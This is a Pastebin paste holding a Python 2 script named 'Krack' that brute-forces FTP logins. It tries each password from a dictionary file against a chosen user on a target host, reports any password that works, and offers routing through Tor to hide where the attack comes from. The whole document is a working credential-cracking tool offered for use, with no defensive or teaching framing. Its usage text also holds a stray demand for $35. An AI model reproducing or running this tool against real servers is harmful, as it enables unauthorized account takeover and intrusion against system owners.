Advertisement
skip420

ftp_Krack

Sep 22nd, 2018
436
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.92 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys, subprocess, socket, getopt, terminal, socks
  3. from datetime import datetime
  4. global term
  5. term = terminal.TerminalController()
  6. def crack(username, password):
  7. s = socks.socksocket()
  8. if (tor == True):
  9. s.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  10. try:
  11. s.connect_ex((target, 21))
  12. print "[*] Trying " + username + ":" + password
  13. data = s.recv(1024)
  14. s.send('USER ' + username + '\r\n')
  15. data = s.recv(1024)
  16. s.send('PASS ' + password + '\r\n')
  17. data = s.recv (3)
  18. s.send('QUIT\r\n')
  19. s.close()
  20. return data
  21. except socket.error:
  22. print term.RED + "[F] COULD NOT CONNECT TO HOST: %s! PLEASE MAKE SURE IT'S UP AND TRY AGAIN!" % target
  23. print "[F] NOW EXITING..." + term.NORMAL
  24. sys.exit(-1)
  25. except socket.gaierror:
  26. print term.RED + "[F] THE ADDRESS YOU ENTERED DOES NOT MATCH ANY ON THE NETWORK. CHECK TO SEE IF HOST IS UP!"
  27. print "[F] NOW EXITING..." + term.NORMAL
  28. sys.exit(0)
  29. def start(dname, uname):
  30. global found_password
  31. found_password = False
  32. try:
  33. passFile = open(dname)
  34. for line in passFile.readlines():
  35. word = line.strip('\n')
  36. attempt = crack(uname, word)
  37. if '230' in attempt:
  38. found_password = True
  39. print term.RED + '*' * 80
  40. print(term.RED + '[***] PASSWORD FOUND: ' + term.BOLD + '%s' % (word) + term.NORMAL)
  41. print term.RED + '*' * 80 + term.NORMAL
  42. passFile.close()
  43. sys.exit(0)
  44. if not found_password:
  45. print(term.RED + '[F] Password was not found using dictionary file: %s' % (dname))
  46. print "[F] Please try another dictionary file."
  47. print "[F] Now Exiting..." + term.NORMAL
  48. sys.exit(-1)
  49. except KeyboardInterrupt:
  50. print "\n[*] User requested an Interrupt"
  51. print "[*] Now Exiting..."
  52. sys.exit(0)
  53. def usage():
  54. print './ftpcracker.py -t <target> -u <user> -d <dictionary file> [(-T), (-D)]\n'
  55. print '-t|--target <HostName|IP>'
  56. print '-u|--uname <UserName>'
  57. print '-d|--dname <Dictionary File>'
  58. print '-D|--debug Prints debug information just in case something goes wrong'
  59. print '-T|--tor Connects to target via the TOR port'
  60. print '-h|--help Shows this help menu then exits\n'
  61. print 'Eg: ./ftpcracker.py -t 192.168.100.1 -u root -d 500worstpasswords.txt\n'
  62. print term.RED + term.BOLD + "Warning: I require $35.00 USD " + term.NORMAL
  63. sys.exit()
  64. def main(argv):
  65. try:
  66. opts, args = getopt.getopt(argv, 'hDTt:d:u:',
  67. ['help', 'target', 'dname', 'uname',\
  68. 'tor', 'debug'])
  69. except getopt.GetoptError:
  70. usage()
  71. sys.exit(-1)
  72. global tor, target, word, passFile, debug, dname
  73. target = ''
  74. uname = ''
  75. dname = ''
  76. tor = False
  77. debug = False
  78. for o, a in opts:
  79. if o in ('-h', '--help'):
  80. usage()
  81. sys.exit(0)
  82. elif o in ('-u', '--uname'):
  83. uname = a
  84. elif o in ('-d', '--dname'):
  85. dname = a
  86. elif o in ('-t', '--target'):
  87. target = a
  88. elif o in ('-D', '--debug'):
  89. debug = True
  90. elif o in ('-T', '--tor'):
  91. tor = True
  92. print tor
  93. if not len(dname) or not len(uname) or not len(target):
  94. usage()
  95. if (tor == True):
  96. print "-" * 80
  97. print "[*] Trying to crack user: " + term.BLUE + uname + term.NORMAL + ' at host: ' + term.BLUE + target + term.NORMAL + ' via TOR'
  98. print '-' * 80
  99. else:
  100. print "-" * 80
  101. print '[*] Trying to crack user: ' + term.BLUE + uname + term.NORMAL + ' at host: ' + term.BLUE + target + term.NORMAL
  102. print '-' * 80
  103. if (debug == True):
  104. print term.BLUE + '\n[D] Target Address: %s' % target
  105. print '[D] Dictionary File Name: %s' % dname
  106. print '[D] Username: %s' % uname
  107. print "[D] Use Tor: %s " % tor
  108. print term.NORMAL + '\n'
  109. start(dname, uname)
  110. if __name__ == '__main__':
  111. print "\n/**************************\\"
  112. print "* Krack *"
  113. print "* *"
  114. print "* *"
  115. print "* *"
  116. print "* *"
  117. print "* *"
  118. print "\**************************/\n"
  119. main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement